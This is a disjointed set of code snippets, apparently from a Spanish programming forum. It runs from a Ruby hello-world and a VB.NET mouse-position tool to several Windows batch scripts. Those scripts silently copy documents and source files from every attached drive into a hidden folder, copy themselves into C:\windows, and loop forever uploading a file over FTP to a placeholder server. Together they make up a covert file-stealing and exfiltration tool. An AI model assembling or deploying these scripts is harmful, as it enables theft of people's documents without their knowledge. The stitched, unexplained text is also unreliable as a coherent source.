puts 'hola mundo'
gets

puts 'hola mundo'
sleep 100

gem install ocra

Public Class Form1
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Label2.Text = "X: " & MousePosition.X
        Label3.Text = "Y: " & MousePosition.Y
    End Sub
 
    Sub Form1_KeyPress(ByVal sender As Object, _
      ByVal e As KeyPressEventArgs) Handles Me.KeyPress
        If e.KeyChar >= ChrW(3) Then
            Clipboard.SetDataObject(Label2.Text & " " & Label3.Text)
        End If
    End Sub
 
    Private Sub Form1_MouseMove(sender As Object, e As MouseEventArgs)
        ' SUPONGO QUE ESTE ES EL EVENTO CORRECTO PARA MI PROPÓSITO...
    End Sub
End Class

@Echo OFF
 
REM By Elektro H@cker
 
:: Tiempo de espera
Set "Minutos=10"
 
:SENDER
Set /A "Segundos=Minutos*60"
Ping -n %SEGUNDOS% localhost >NUL & (
 
	(
	 Echo open "tu dirección ftp"
         REM Echo user "Nombre de usuario" "Contraseña"
	 REM Echo CD "/carpeta"
	 Echo put "Archivo.txt"
	 Echo bye
	)> "%TEMP%\ftp.txt"
	ftp.exe -s:"%TEMP%\ftp.txt"
 
)
GOTO:SENDER

@Echo OFF
 
 
REM By Elektro H@cker
 
 
:: Tiempo de espera
Set "Minutos=1"
 
:SENDER
Set /A "Segundos=Minutos*60"
 
For /L %%@ in (%SEGUNDOS%,-1,0) DO (
	Ping -n 2 localhost >NUL
	CLS
	Echo: Faltan %%@ segundos ...
)
 
(
 Echo open "tu dirección ftp"
 REM Echo user "Nombre de usuario" "Contraseña"
 REM Echo CD "/carpeta"
 Echo put "Archivo.txt"
 Echo bye
)> "%TEMP%\ftp.txt"
ftp.exe -s:"%TEMP%\ftp.txt"
 
GOTO :SENDER

*.doc?

*.ppt?

@Echo OFF
 
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
 
FOR %%# IN (%DRIVES%) DO (
	ECHO "%%#"
	PUSHD "%%#:\" 2>NUL && (FOR /R %%@ IN (*.c, *.cpp, *.doc?, *.ppt?) DO (Copy /y "%%@" "C:\trabajos\"))
)
 
Pause&Exit

@Echo OFF
Copy /Y "%~0" "C:\windows\lio\" >NUL
Pause&Exit